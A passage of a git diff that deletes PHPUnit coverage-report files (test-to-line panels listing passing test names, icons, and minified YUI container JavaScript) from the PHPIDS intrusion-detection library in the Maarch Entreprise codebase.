class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testEmpty(IDS_ReportTest)</li><li class=\"testPassed\">testCountable(IDS_ReportTest)</li><li class=\"testPassed\">testGetterByName(IDS_ReportTest)</li><li class=\"testPassed\">testGetTags(IDS_ReportTest)</li><li class=\"testPassed\">testImpactSum(IDS_ReportTest)</li><li class=\"testPassed\">testHasEvent(IDS_ReportTest)</li><li class=\"testPassed\">testAddingAnotherEventAfterCalculation(IDS_ReportTest)</li><li class=\"testPassed\">testIteratorAggregate(IDS_ReportTest)</li><li class=\"testPassed\">testToString(IDS_ReportTest)</li><li class=\"testPassed\">testToStringEmpty(IDS_ReportTest)</li><li class=\"testPassed\">testGetEvent(IDS_ReportTest)</li><li class=\"testPassed\">testGetEventWrong(IDS_ReportTest)</li><li class=\"testPassed\">testEventConstructorExceptions1(IDS_ExceptionTest)</li><li class=\"testPassed\">testEventConstructorExceptions2(IDS_ExceptionTest)</li><li class=\"testPassed\">testEventConstructorExceptions3(IDS_ExceptionTest)</li><li class=\"testPassed\">testGetEventException(IDS_ExceptionTest)</li><li class=\"testPassed\">testHasEventException(IDS_ExceptionTest)</li><li class=\"testPassed\">testInitConfigWrongPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li></ul>", - "footer": "" - }, - "panel252": { - "header": "52 tests cover line 252", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testEmpty(IDS_ReportTest)</li><li class=\"testPassed\">testCountable(IDS_ReportTest)</li><li class=\"testPassed\">testGetterByName(IDS_ReportTest)</li><li class=\"testPassed\">testGetTags(IDS_ReportTest)</li><li class=\"testPassed\">testImpactSum(IDS_ReportTest)</li><li class=\"testPassed\">testHasEvent(IDS_ReportTest)</li><li class=\"testPassed\">testAddingAnotherEventAfterCalculation(IDS_ReportTest)</li><li class=\"testPassed\">testIteratorAggregate(IDS_ReportTest)</li><li class=\"testPassed\">testToString(IDS_ReportTest)</li><li class=\"testPassed\">testToStringEmpty(IDS_ReportTest)</li><li class=\"testPassed\">testGetEvent(IDS_ReportTest)</li><li class=\"testPassed\">testGetEventWrong(IDS_ReportTest)</li><li class=\"testPassed\">testEventConstructorExceptions1(IDS_ExceptionTest)</li><li class=\"testPassed\">testEventConstructorExceptions2(IDS_ExceptionTest)</li><li class=\"testPassed\">testEventConstructorExceptions3(IDS_ExceptionTest)</li><li class=\"testPassed\">testGetEventException(IDS_ExceptionTest)</li><li class=\"testPassed\">testHasEventException(IDS_ExceptionTest)</li><li class=\"testPassed\">testInitConfigWrongPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li></ul>", - "footer": "" - }, - "panel262": { - "header": "1 test covers line 262", - "body": "<ul><li class=\"testPassed\">testToString(IDS_ReportTest)</li></ul>", - "footer": "" - }, - "panel263": { - "header": "1 test covers line 263", - "body": "<ul><li class=\"testPassed\">testToString(IDS_ReportTest)</li></ul>", - "footer": "" - }, - "panel277": { - "header": "18 tests cover line 277", - "body": "<ul><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel278": { - "header": "18 tests cover line 278", - "body": "<ul><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel279": { - "header": "18 tests cover line 279", - "body": "<ul><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel291": { - "header": "2 tests cover line 291", - "body": "<ul><li class=\"testPassed\">testToString(IDS_ReportTest)</li><li class=\"testPassed\">testToStringEmpty(IDS_ReportTest)</li></ul>", - "footer": "" - }, - "panel292": { - "header": "1 test covers line 292", - "body": "<ul><li class=\"testPassed\">testToString(IDS_ReportTest)</li></ul>", - "footer": "" - }, - "panel293": { - "header": "1 test covers line 293", - "body": "<ul><li class=\"testPassed\">testToString(IDS_ReportTest)</li></ul>", - "footer": "" - }, - "panel294": { - "header": "1 test covers line 294", - "body": "<ul><li class=\"testPassed\">testToString(IDS_ReportTest)</li></ul>", - "footer": "" - }, - "panel295": { - "header": "1 test covers line 295", - "body": "<ul><li class=\"testPassed\">testToString(IDS_ReportTest)</li></ul>", - "footer": "" - }, - "panel297": { - "header": "1 test covers line 297", - "body": "<ul><li class=\"testPassed\">testToString(IDS_ReportTest)</li></ul>", - "footer": "" - }, - "panel299": { - "header": "1 test covers line 299", - "body": "<ul><li class=\"testPassed\">testToString(IDS_ReportTest)</li></ul>", - "footer": "" - }, - "panel300": { - "header": "1 test covers line 300", - "body": "<ul><li class=\"testPassed\">testToString(IDS_ReportTest)</li></ul>", - "footer": "" - }, - "panel301": { - "header": "1 test covers line 301", - "body": "<ul><li class=\"testPassed\">testToString(IDS_ReportTest)</li></ul>", - "footer": "" - }, - "panel302": { - "header": "1 test covers line 302", - "body": "<ul><li class=\"testPassed\">testToString(IDS_ReportTest)</li></ul>", - "footer": "" - }, - "panel304": { - "header": "1 test covers line 304", - "body": "<ul><li class=\"testPassed\">testToString(IDS_ReportTest)</li></ul>", - "footer": "" - }, - "panel305": { - "header": "1 test covers line 305", - "body": "<ul><li class=\"testPassed\">testToString(IDS_ReportTest)</li></ul>", - "footer": "" - }, - "panel306": { - "header": "1 test covers line 306", - "body": "<ul><li class=\"testPassed\">testToString(IDS_ReportTest)</li></ul>", - "footer": "" - }, - "panel307": { - "header": "1 test covers line 307", - "body": "<ul><li class=\"testPassed\">testToString(IDS_ReportTest)</li></ul>", - "footer": "" - }, - "panel308": { - "header": "1 test covers line 308", - "body": "<ul><li class=\"testPassed\">testToString(IDS_ReportTest)</li></ul>", - "footer": "" - }, - "panel309": { - "header": "1 test covers line 309", - "body": "<ul><li class=\"testPassed\">testToString(IDS_ReportTest)</li></ul>", - "footer": "" - }, - "panel310": { - "header": "1 test covers line 310", - "body": "<ul><li class=\"testPassed\">testToString(IDS_ReportTest)</li></ul>", - "footer": "" - }, - "panel311": { - "header": "1 test covers line 311", - "body": "<ul><li class=\"testPassed\">testToString(IDS_ReportTest)</li></ul>", - "footer": "" - }, - "panel312": { - "header": "1 test covers line 312", - "body": "<ul><li class=\"testPassed\">testToString(IDS_ReportTest)</li></ul>", - "footer": "" - }, - "panel314": { - "header": "1 test covers line 314", - "body": "<ul><li class=\"testPassed\">testToString(IDS_ReportTest)</li></ul>", - "footer": "" - }, - "panel316": { - "header": "1 test covers line 316", - "body": "<ul><li class=\"testPassed\">testToString(IDS_ReportTest)</li></ul>", - "footer": "" - }, - "panel329": { - "header": "1 test covers line 329", - "body": "<ul><li class=\"testPassed\">testToString(IDS_ReportTest)</li></ul>", - "footer": "" - }, - "panel331": { - "header": "2 tests cover line 331", - "body": "<ul><li class=\"testPassed\">testToString(IDS_ReportTest)</li><li class=\"testPassed\">testToStringEmpty(IDS_ReportTest)</li></ul>", - "footer": "" - }, - "dummy": "" - }; - - YAHOO.phpunit.container.prepare = function (e) { - var elemId = $E.getTarget(e).id; - var line = elemId.substr(4); - var panelId = "panel" + line; - var containerId = "container" + line; - - var panelData = YAHOO.phpunit.container.panelsData[panelId]; - - var panel = new YAHOO.widget.Panel(panelId, { visible:false, draggable:false, close:true } ); - panel.setHeader(panelData["header"]); - panel.setBody(panelData["body"]); - panel.setFooter(panelData["footer"]); - panel.render(containerId); - - $E.addListener(elemId, "click", panel.show, panel, true); - $E.removeListener(elemId, "mouseover"); - }; - - function init() { - var ypc = YAHOO.phpunit.container; - for (var panelId in ypc.panelsData) { - var elemId = "line" + panelId.substr(5); - $E.addListener(elemId, "mouseover", ypc.prepare); - } - } - - $E.addListener(window, "load", init); - </script> - </body> -</html> diff --git a/apps/maarch_entreprise/tools/phpids/tests/coverage/butter.png b/apps/maarch_entreprise/tools/phpids/tests/coverage/butter.png deleted file mode 100755 index 3c7e36f2da2e0557f70191ceb58b58187fa46292..0000000000000000000000000000000000000000 Binary files a/apps/maarch_entreprise/tools/phpids/tests/coverage/butter.png and /dev/null differ diff --git a/apps/maarch_entreprise/tools/phpids/tests/coverage/chameleon.png b/apps/maarch_entreprise/tools/phpids/tests/coverage/chameleon.png deleted file mode 100755 index 68046070133a2c309839b9d340ced4c521fa9d3b..0000000000000000000000000000000000000000 Binary files a/apps/maarch_entreprise/tools/phpids/tests/coverage/chameleon.png and /dev/null differ diff --git a/apps/maarch_entreprise/tools/phpids/tests/coverage/close12_1.gif b/apps/maarch_entreprise/tools/phpids/tests/coverage/close12_1.gif deleted file mode 100755 index e2f67d72efc158da4e069822cbe338915761e396..0000000000000000000000000000000000000000 Binary files a/apps/maarch_entreprise/tools/phpids/tests/coverage/close12_1.gif and /dev/null differ diff --git a/apps/maarch_entreprise/tools/phpids/tests/coverage/container-min.js b/apps/maarch_entreprise/tools/phpids/tests/coverage/container-min.js deleted file mode 100755 index e2acfd3cab4bd546c28dac9d8db95941efb006d1..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/tests/coverage/container-min.js +++ /dev/null @@ -1,17 +0,0 @@ -/* -Copyright (c) 2008, Yahoo! Inc. All rights reserved. -Code licensed under the BSD License: -http://developer.yahoo.net/yui/license.txt -version: 2.5.2 -*/ -(function(){YAHOO.util.Config=function(D){if(D){this.init(D);}};var B=YAHOO.lang,C=YAHOO.util.CustomEvent,A=YAHOO.util.Config;A.CONFIG_CHANGED_EVENT="configChanged";A.BOOLEAN_TYPE="boolean";A.prototype={owner:null,queueInProgress:false,config:null,initialConfig:null,eventQueue:null,configChangedEvent:null,init:function(D){this.owner=D;this.configChangedEvent=this.createEvent(A.CONFIG_CHANGED_EVENT);this.configChangedEvent.signature=C.LIST;this.queueInProgress=false;this.config={};this.initialConfig={};this.eventQueue=[];},checkBoolean:function(D){return(typeof D==A.BOOLEAN_TYPE);},checkNumber:function(D){return(!isNaN(D));},fireEvent:function(D,F){var E=this.config[D];if(E&&E.event){E.event.fire(F);}},addProperty:function(E,D){E=E.toLowerCase();this.config[E]=D;D.event=this.createEvent(E,{scope:this.owner});D.event.signature=C.LIST;D.key=E;if(D.handler){D.event.subscribe(D.handler,this.owner);}this.setProperty(E,D.value,true);if(!D.suppressEvent){this.queueProperty(E,D.value);}},getConfig:function(){var D={},F,E;for(F in this.config){E=this.config[F];if(E&&E.event){D[F]=E.value;}}return D;},getProperty:function(D){var E=this.config[D.toLowerCase()];if(E&&E.event){return E.value;}else{return undefined;}},resetProperty:function(D){D=D.toLowerCase();var E=this.config[D];if(E&&E.event){if(this.initialConfig[D]&&!B.isUndefined(this.initialConfig[D])){this.setProperty(D,this.initialConfig[D]);return true;}}else{return false;}},setProperty:function(E,G,D){var F;E=E.toLowerCase();if(this.queueInProgress&&!D){this.queueProperty(E,G);return true;}else{F=this.config[E];if(F&&F.event){if(F.validator&&!F.validator(G)){return false;}else{F.value=G;if(!D){this.fireEvent(E,G);this.configChangedEvent.fire([E,G]);}return true;}}else{return false;}}},queueProperty:function(S,P){S=S.toLowerCase();var R=this.config[S],K=false,J,G,H,I,O,Q,F,M,N,D,L,T,E;if(R&&R.event){if(!B.isUndefined(P)&&R.validator&&!R.validator(P)){return false;}else{if(!B.isUndefined(P)){R.value=P;}else{P=R.value;}K=false;J=this.eventQueue.length;for(L=0;L<J;L++){G=this.eventQueue[L];if(G){H=G[0];I=G[1];if(H==S){this.eventQueue[L]=null;this.eventQueue.push([S,(!B.isUndefined(P)?P:I)]);K=true;break;}}}if(!K&&!B.isUndefined(P)){this.eventQueue.push([S,P]);}}if(R.supercedes){O=R.supercedes.length;for(T=0;T<O;T++){Q=R.supercedes[T];F=this.eventQueue.length;for(E=0;E<F;E++){M=this.eventQueue[E];if(M){N=M[0];D=M[1];if(N==Q.toLowerCase()){this.eventQueue.push([N,D]);this.eventQueue[E]=null;break;}}}}}return true;}else{return false;}},refireEvent:function(D){D=D.toLowerCase();var E=this.config[D];if(E&&E.event&&!B.isUndefined(E.value)){if(this.queueInProgress){this.queueProperty(D);}else{this.fireEvent(D,E.value);}}},applyConfig:function(D,G){var F,E;if(G){E={};for(F in D){if(B.hasOwnProperty(D,F)){E[F.toLowerCase()]=D[F];}}this.initialConfig=E;}for(F in D){if(B.hasOwnProperty(D,F)){this.queueProperty(F,D[F]);}}},refresh:function(){var D;for(D in this.config){this.refireEvent(D);}},fireQueue:function(){var E,H,D,G,F;this.queueInProgress=true;for(E=0;E<this.eventQueue.length;E++){H=this.eventQueue[E];if(H){D=H[0];G=H[1];F=this.config[D];F.value=G;this.fireEvent(D,G);}}this.queueInProgress=false;this.eventQueue=[];},subscribeToConfigEvent:function(E,F,H,D){var G=this.config[E.toLowerCase()];if(G&&G.event){if(!A.alreadySubscribed(G.event,F,H)){G.event.subscribe(F,H,D);}return true;}else{return false;}},unsubscribeFromConfigEvent:function(D,E,G){var F=this.config[D.toLowerCase()];if(F&&F.event){return F.event.unsubscribe(E,G);}else{return false;}},toString:function(){var D="Config";if(this.owner){D+=" ["+this.owner.toString()+"]";}return D;},outputEventQueue:function(){var D="",G,E,F=this.eventQueue.length;for(E=0;E<F;E++){G=this.eventQueue[E];if(G){D+=G[0]+"="+G[1]+", ";}}return D;},destroy:function(){var E=this.config,D,F;for(D in E){if(B.hasOwnProperty(E,D)){F=E[D];F.event.unsubscribeAll();F.event=null;}}this.configChangedEvent.unsubscribeAll();this.configChangedEvent=null;this.owner=null;this.config=null;this.initialConfig=null;this.eventQueue=null;}};A.alreadySubscribed=function(E,H,I){var F=E.subscribers.length,D,G;if(F>0){G=F-1;do{D=E.subscribers[G];if(D&&D.obj==I&&D.fn==H){return true;}}while(G--);}return false;};YAHOO.lang.augmentProto(A,YAHOO.util.EventProvider);}());(function(){YAHOO.widget.Module=function(Q,P){if(Q){this.init(Q,P);}else{}};var F=YAHOO.util.Dom,D=YAHOO.util.Config,M=YAHOO.util.Event,L=YAHOO.util.CustomEvent,G=YAHOO.widget.Module,H,O,N,E,A={"BEFORE_INIT":"beforeInit","INIT":"init","APPEND":"append","BEFORE_RENDER":"beforeRender","RENDER":"render","CHANGE_HEADER":"changeHeader","CHANGE_BODY":"changeBody","CHANGE_FOOTER":"changeFooter","CHANGE_CONTENT":"changeContent","DESTORY":"destroy","BEFORE_SHOW":"beforeShow","SHOW":"show","BEFORE_HIDE":"beforeHide","HIDE":"hide"},I={"VISIBLE":{key:"visible",value:true,validator:YAHOO.lang.isBoolean},"EFFECT":{key:"effect",suppressEvent:true,supercedes:["visible"]},"MONITOR_RESIZE":{key:"monitorresize",value:true},"APPEND_TO_DOCUMENT_BODY":{key:"appendtodocumentbody",value:false}};G.IMG_ROOT=null;G.IMG_ROOT_SSL=null;G.CSS_MODULE="yui-module";G.CSS_HEADER="hd";G.CSS_BODY="bd";G.CSS_FOOTER="ft";G.RESIZE_MONITOR_SECURE_URL="javascript:false;";G.textResizeEvent=new L("textResize");function K(){if(!H){H=document.createElement("div");H.innerHTML=('<div class="'+G.CSS_HEADER+'"></div>'+'<div class="'+G.CSS_BODY+'"></div><div class="'+G.CSS_FOOTER+'"></div>');O=H.firstChild;N=O.nextSibling;E=N.nextSibling;}return H;}function J(){if(!O){K();}return(O.cloneNode(false));}function B(){if(!N){K();}return(N.cloneNode(false));}function C(){if(!E){K();}return(E.cloneNode(false));}G.prototype={constructor:G,element:null,header:null,body:null,footer:null,id:null,imageRoot:G.IMG_ROOT,initEvents:function(){var P=L.LIST;this.beforeInitEvent=this.createEvent(A.BEFORE_INIT);this.beforeInitEvent.signature=P;this.initEvent=this.createEvent(A.INIT);this.initEvent.signature=P;this.appendEvent=this.createEvent(A.APPEND); -this.appendEvent.signature=P;this.beforeRenderEvent=this.createEvent(A.BEFORE_RENDER);this.beforeRenderEvent.signature=P;this.renderEvent=this.createEvent(A.RENDER);this.renderEvent.signature=P;this.changeHeaderEvent=this.createEvent(A.CHANGE_HEADER);this.changeHeaderEvent.signature=P;this.changeBodyEvent=this.createEvent(A.CHANGE_BODY);this.changeBodyEvent.signature=P;this.changeFooterEvent=this.createEvent(A.CHANGE_FOOTER);this.changeFooterEvent.signature=P;this.changeContentEvent=this.createEvent(A.CHANGE_CONTENT);this.changeContentEvent.signature=P;this.destroyEvent=this.createEvent(A.DESTORY);this.destroyEvent.signature=P;this.beforeShowEvent=this.createEvent(A.BEFORE_SHOW);this.beforeShowEvent.signature=P;this.showEvent=this.createEvent(A.SHOW);this.showEvent.signature=P;this.beforeHideEvent=this.createEvent(A.BEFORE_HIDE);this.beforeHideEvent.signature=P;this.hideEvent=this.createEvent(A.HIDE);this.hideEvent.signature=P;},platform:function(){var P=navigator.userAgent.toLowerCase();if(P.indexOf("windows")!=-1||P.indexOf("win32")!=-1){return"windows";}else{if(P.indexOf("macintosh")!=-1){return"mac";}else{return false;}}}(),browser:function(){var P=navigator.userAgent.toLowerCase();if(P.indexOf("opera")!=-1){return"opera";}else{if(P.indexOf("msie 7")!=-1){return"ie7";}else{if(P.indexOf("msie")!=-1){return"ie";}else{if(P.indexOf("safari")!=-1){return"safari";}else{if(P.indexOf("gecko")!=-1){return"gecko";}else{return false;}}}}}}(),isSecure:function(){if(window.location.href.toLowerCase().indexOf("https")===0){return true;}else{return false;}}(),initDefaultConfig:function(){this.cfg.addProperty(I.VISIBLE.key,{handler:this.configVisible,value:I.VISIBLE.value,validator:I.VISIBLE.validator});this.cfg.addProperty(I.EFFECT.key,{suppressEvent:I.EFFECT.suppressEvent,supercedes:I.EFFECT.supercedes});this.cfg.addProperty(I.MONITOR_RESIZE.key,{handler:this.configMonitorResize,value:I.MONITOR_RESIZE.value});this.cfg.addProperty(I.APPEND_TO_DOCUMENT_BODY.key,{value:I.APPEND_TO_DOCUMENT_BODY.value});},init:function(U,T){var R,V;this.initEvents();this.beforeInitEvent.fire(G);this.cfg=new D(this);if(this.isSecure){this.imageRoot=G.IMG_ROOT_SSL;}if(typeof U=="string"){R=U;U=document.getElementById(U);if(!U){U=(K()).cloneNode(false);U.id=R;}}this.element=U;if(U.id){this.id=U.id;}V=this.element.firstChild;if(V){var Q=false,P=false,S=false;do{if(1==V.nodeType){if(!Q&&F.hasClass(V,G.CSS_HEADER)){this.header=V;Q=true;}else{if(!P&&F.hasClass(V,G.CSS_BODY)){this.body=V;P=true;}else{if(!S&&F.hasClass(V,G.CSS_FOOTER)){this.footer=V;S=true;}}}}}while((V=V.nextSibling));}this.initDefaultConfig();F.addClass(this.element,G.CSS_MODULE);if(T){this.cfg.applyConfig(T,true);}if(!D.alreadySubscribed(this.renderEvent,this.cfg.fireQueue,this.cfg)){this.renderEvent.subscribe(this.cfg.fireQueue,this.cfg,true);}this.initEvent.fire(G);},initResizeMonitor:function(){var Q=(YAHOO.env.ua.gecko&&this.platform=="windows");if(Q){var P=this;setTimeout(function(){P._initResizeMonitor();},0);}else{this._initResizeMonitor();}},_initResizeMonitor:function(){var P,R,T;function V(){G.textResizeEvent.fire();}if(!YAHOO.env.ua.opera){R=F.get("_yuiResizeMonitor");var U=this._supportsCWResize();if(!R){R=document.createElement("iframe");if(this.isSecure&&G.RESIZE_MONITOR_SECURE_URL&&YAHOO.env.ua.ie){R.src=G.RESIZE_MONITOR_SECURE_URL;}if(!U){T=["<html><head><script ",'type="text/javascript">',"window.onresize=function(){window.parent.","YAHOO.widget.Module.textResizeEvent.","fire();};<","/script></head>","<body></body></html>"].join("");R.src="data:text/html;charset=utf-8,"+encodeURIComponent(T);}R.id="_yuiResizeMonitor";R.style.position="absolute";R.style.visibility="hidden";var Q=document.body,S=Q.firstChild;if(S){Q.insertBefore(R,S);}else{Q.appendChild(R);}R.style.width="10em";R.style.height="10em";R.style.top=(-1*R.offsetHeight)+"px";R.style.left=(-1*R.offsetWidth)+"px";R.style.borderWidth="0";R.style.visibility="visible";if(YAHOO.env.ua.webkit){P=R.contentWindow.document;P.open();P.close();}}if(R&&R.contentWindow){G.textResizeEvent.subscribe(this.onDomResize,this,true);if(!G.textResizeInitialized){if(U){if(!M.on(R.contentWindow,"resize",V)){M.on(R,"resize",V);}}G.textResizeInitialized=true;}this.resizeMonitor=R;}}},_supportsCWResize:function(){var P=true;if(YAHOO.env.ua.gecko&&YAHOO.env.ua.gecko<=1.8){P=false;}return P;},onDomResize:function(S,R){var Q=-1*this.resizeMonitor.offsetWidth,P=-1*this.resizeMonitor.offsetHeight;this.resizeMonitor.style.top=P+"px";this.resizeMonitor.style.left=Q+"px";},setHeader:function(Q){var P=this.header||(this.header=J());if(Q.nodeName){P.innerHTML="";P.appendChild(Q);}else{P.innerHTML=Q;}this.changeHeaderEvent.fire(Q);this.changeContentEvent.fire();},appendToHeader:function(Q){var P=this.header||(this.header=J());P.appendChild(Q);this.changeHeaderEvent.fire(Q);this.changeContentEvent.fire();},setBody:function(Q){var P=this.body||(this.body=B());if(Q.nodeName){P.innerHTML="";P.appendChild(Q);}else{P.innerHTML=Q;}this.changeBodyEvent.fire(Q);this.changeContentEvent.fire();},appendToBody:function(Q){var P=this.body||(this.body=B());P.appendChild(Q);this.changeBodyEvent.fire(Q);this.changeContentEvent.fire();},setFooter:function(Q){var P=this.footer||(this.footer=C());if(Q.nodeName){P.innerHTML="";P.appendChild(Q);}else{P.innerHTML=Q;}this.changeFooterEvent.fire(Q);this.changeContentEvent.fire();},appendToFooter:function(Q){var P=this.footer||(this.footer=C());P.appendChild(Q);this.changeFooterEvent.fire(Q);this.changeContentEvent.fire();},render:function(R,P){var S=this,T;function Q(U){if(typeof U=="string"){U=document.getElementById(U);}if(U){S._addToParent(U,S.element);S.appendEvent.fire();}}this.beforeRenderEvent.fire();if(!P){P=this.element;}if(R){Q(R);}else{if(!F.inDocument(this.element)){return false;}}if(this.header&&!F.inDocument(this.header)){T=P.firstChild;if(T){P.insertBefore(this.header,T);}else{P.appendChild(this.header);}}if(this.body&&!F.inDocument(this.body)){if(this.footer&&F.isAncestor(this.moduleElement,this.footer)){P.insertBefore(this.body,this.footer); -}else{P.appendChild(this.body);}}if(this.footer&&!F.inDocument(this.footer)){P.appendChild(this.footer);}this.renderEvent.fire();return true;},destroy:function(){var P,Q;if(this.element){M.purgeElement(this.element,true);P=this.element.parentNode;}if(P){P.removeChild(this.element);}this.element=null;this.header=null;this.body=null;this.footer=null;G.textResizeEvent.unsubscribe(this.onDomResize,this);this.cfg.destroy();this.cfg=null;this.destroyEvent.fire();for(Q in this){if(Q instanceof L){Q.unsubscribeAll();}}},show:function(){this.cfg.setProperty("visible",true);},hide:function(){this.cfg.setProperty("visible",false);},configVisible:function(Q,P,R){var 